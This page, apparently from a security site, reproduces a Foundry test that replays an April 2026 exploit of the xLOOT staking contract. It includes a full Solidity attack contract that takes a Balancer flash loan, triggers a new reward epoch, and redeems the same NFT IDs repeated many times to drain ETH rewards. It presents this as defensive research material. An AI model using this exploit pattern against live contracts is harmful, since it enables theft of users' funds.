Skip to content
THREATWIRE

Public reproduction file

src/test/2026-04/XLootStaking_exp.sol

Public reproduction file for dataset entry XLootStaking.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-04/XLootStaking_exp.sol196 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 6.21 ETH
8// Attacker : 0xAcDcD2e9787E889305200900d6Cf6C0548578630
9// Attack Contract : 0xd8A948b2ee03165a3c6b8940837bab664BC5CF4d
10// Vulnerable Contract : 0xf3A3648bB1Da9D3aeA107da77E6f5bA9Cf313127
11// Victim : 0x9d87Ff196646A99BDdb16876066aA863900118b4
12// Attack Tx : https://etherscan.io/tx/0xab19752a450a205ccaca9afb8505e2d8b79593ee2edab1f67bdec27a4f14871f
14// @Info
15// Vulnerable Contract Code : https://etherscan.io/address/0xf3A3648bB1Da9D3aeA107da77E6f5bA9Cf313127#code
17// @Analysis
18// Twitter Guy : https://x.com/DefimonAlerts/status/2044709964091187660
19//
20// Staking.redeem(uint256[]) calculates all xLOOT rewards before it advances xLoot.nextRedeem[id]. The calculation
21// loops over every supplied ID and only checks ownerOf(id), so the same owned NFT can be supplied many times in a
22// single redeem call. After a 2.1 ETH Balancer flash loan triggers a new epoch through receive(), seven owned xLOOT
23// IDs repeated 155 times each claim the epoch reward 1,085 times, paying 6.2098 ETH before the 2.1 WETH repayment.
25address constant ATTACKER = 0xAcDcD2e9787E889305200900d6Cf6C0548578630;
26address constant STAKING_PROXY = 0x9d87Ff196646A99BDdb16876066aA863900118b4;
27address constant XLOOT = 0x9237DfD3Ff86710bfD16Ee6172F184a2bB4de10A;
28address constant BALANCER_VAULT = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;
29address constant WETH_TOKEN = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
31uint256 constant WETH_FLASH_AMOUNT = 2.1 ether;
32uint256 constant TRACE_REPEAT_COUNT = 155;
34interface IXLoot is IERC721 {}
36interface IXLootStaking {
37 function redeem(
38 uint256[] calldata xloots
39 ) external;
41 function claimableOf(
42 address account,
43 uint256[] calldata xloots
44 ) external view returns (uint256 claimable, uint256 bonusAmount, uint256 duration);
46 function nextEpoc() external view returns (uint256 time, uint256 ppt, uint256 epp, uint256 epn, uint256 value);
48 function nextEpocId() external view returns (uint256);
50 function xLootNextReem(
51 uint256 xlootId
52 ) external view returns (uint256);
55contract ContractTest is BaseTestWithBalanceLog {
56 IXLoot private constant xloot = IXLoot(XLOOT);
57 IXLootStaking private constant staking = IXLootStaking(STAKING_PROXY);
59 function setUp() public {
60 uint256 forkBlock = 24_885_767;
61 vm.createSelectFork("mainnet", forkBlock);
62 fundingToken = address(0);
64 vm.label(ATTACKER, "Attacker");
65 vm.label(STAKING_PROXY, "xLOOT Staking Proxy");
66 vm.label(XLOOT, "xLOOT NFT");
67 vm.label(BALANCER_VAULT, "Balancer Vault");
68 vm.label(WETH_TOKEN, "WETH");
69 }
71 function testExploit() public balanceLog2(ATTACKER) {
72 uint256[] memory baseIds = tracedXlootIds();
73 XLootStakingAttack attack = new XLootStakingAttack(ATTACKER, baseIds);
74 vm.label(address(attack), "Local Attack Contract");
76 uint256 startingNextEpoch = staking.nextEpocId();
77 for (uint256 i = 0; i < baseIds.length; ++i) {
78 assertEq(xloot.ownerOf(baseIds[i]), ATTACKER, "attacker does not own xLOOT");
79 assertEq(staking.xLootNextReem(baseIds[i]), startingNextEpoch - 1, "unexpected xLOOT redeem cursor");
80 }
82 // step 1: stage the same seven xLOOT NFTs into a fresh local helper.
83 vm.startPrank(ATTACKER);
84 for (uint256 i = 0; i < baseIds.length; ++i) {
85 xloot.transferFrom(ATTACKER, address(attack), baseIds[i]);
86 }
87 vm.stopPrank();
89 // step 2: match the attack block timestamp so receive() commits epoch 47.
90 (uint256 nextEpochTime,,,,) = staking.nextEpoc();
91 vm.warp(nextEpochTime);
93 uint256 attackerEthBefore = ATTACKER.balance;
94 attack.run();
95 uint256 attackerProfit = ATTACKER.balance - attackerEthBefore;
97 logTokenBalance(address(0), ATTACKER, "Attacker profit");
99 assertGt(attackerProfit, 4 ether, "profit below traced amount");
100 assertEq(IERC20(WETH_TOKEN).balanceOf(address(attack)), 0, "WETH left on helper");
101 assertEq(address(attack).balance, 0, "ETH left on helper");
102 for (uint256 i = 0; i < baseIds.length; ++i) {
103 assertEq(xloot.ownerOf(baseIds[i]), ATTACKER, "xLOOT not returned");
104 assertEq(staking.xLootNextReem(baseIds[i]), startingNextEpoch + 1, "redeem cursor not advanced once");
105 }
106 }
108 function tracedXlootIds() private pure returns (uint256[] memory ids) {
109 ids = new uint256[](7);
110 ids[0] = 128;
111 ids[1] = 144;
112 ids[2] = 145;
113 ids[3] = 195;
114 ids[4] = 49;
115 ids[5] = 51;
116 ids[6] = 52;
117 }
120contract XLootStakingAttack {
121 address private immutable profitReceiver;
122 uint256[] private baseIds;
124 constructor(
125 address profitReceiver_,
126 uint256[] memory baseIds_
127 ) {
128 profitReceiver = profitReceiver_;
129 baseIds = baseIds_;
130 }
132 receive() external payable {}
134 function run() external {
135 address[] memory tokens = new address[](1);
136 tokens[0] = WETH_TOKEN;
138 uint256[] memory amounts = new uint256[](1);
139 amounts[0] = WETH_FLASH_AMOUNT;
141 IBalancerVault(BALANCER_VAULT).flashLoan(address(this), tokens, amounts, "");
142 }
144 function receiveFlashLoan(
145 address[] memory tokens,
146 uint256[] memory amounts,
147 uint256[] memory feeAmounts,
148 bytes memory
149 ) external {
150 require(msg.sender == BALANCER_VAULT, "not Balancer");
151 require(tokens.length == 1 && tokens[0] == WETH_TOKEN, "unexpected token");
152 require(amounts[0] == WETH_FLASH_AMOUNT, "unexpected amount");
154 // step 3: unwrap the Balancer WETH and fund the staking receive path to commit the next epoch.
155 IWETH(payable(WETH_TOKEN)).withdraw(amounts[0]);
156 (bool committed,) = payable(STAKING_PROXY).call{value: amounts[0]}("");
157 require(committed, "epoch trigger failed");
159 // step 4: redeem seven owned xLOOT IDs repeated 155 times each.
160 uint256[] memory redeemIds = duplicatedIds();
161 (uint256 claimable,,) = IXLootStaking(STAKING_PROXY).claimableOf(address(this), redeemIds);
162 uint256 debt = amounts[0] + feeAmounts[0];
163 require(claimable > debt, "duplicate IDs did not amplify claim");
164 IXLootStaking(STAKING_PROXY).redeem(redeemIds);
166 // step 5: repay Balancer in WETH, return the NFTs, and sweep ETH profit to the attacker EOA.
167 IWETH(payable(WETH_TOKEN)).deposit{value: debt}();
168 require(IERC20(WETH_TOKEN).transfer(BALANCER_VAULT, debt), "repay WETH");
169 returnXloots();
170 sweepProfit();
171 }
173 function duplicatedIds() private view returns (uint256[] memory ids) {
174 ids = new uint256[](baseIds.length * TRACE_REPEAT_COUNT);
175 uint256 cursor;
176 for (uint256 i = 0; i < baseIds.length; ++i) {
177 for (uint256 j = 0; j < TRACE_REPEAT_COUNT; ++j) {
178 ids[cursor++] = baseIds[i];
179 }
180 }
181 }
183 function returnXloots() private {
184 for (uint256 i = 0; i < baseIds.length; ++i) {
185 IERC721(XLOOT).transferFrom(address(this), profitReceiver, baseIds[i]);
186 }
187 }
189 function sweepProfit() private {
190 uint256 balance = address(this).balance;
191 if (balance != 0) {
192 (bool sent,) = payable(profitReceiver).call{value: balance}("");
193 require(sent, "sweep ETH");
194 }
195 }

Analysis

Dataset entry

Public Foundry test for “XLootStaking” (2026-04-15). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

16 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xacdcd2e9787e889305200900d6cf6c0548578630

  • Attack Contract

    0xd8a948b2ee03165a3c6b8940837bab664bc5cf4d

  • Vulnerable Contract

    0xf3a3648bb1da9d3aea107da77e6f5ba9cf313127

  • Victim

    0x9d87ff196646a99bddb16876066aa863900118b4

  • Attack Tx

    0xab19752a450a205ccaca9afb8505e2d8b79593ee2edab1f67bdec27a4f14871f

File record

Name
XLootStaking
Path
src/test/2026-04/XLootStaking_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
7ae2bc8ed933f9204458655ab8f7dc8b74e6fd27
Language
Solidity
Size
197 lines
Date
2026-04-15
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-04/XLootStaking_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 7ae2bc8ed933f9204458655ab8f7dc8b74e6fd27, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.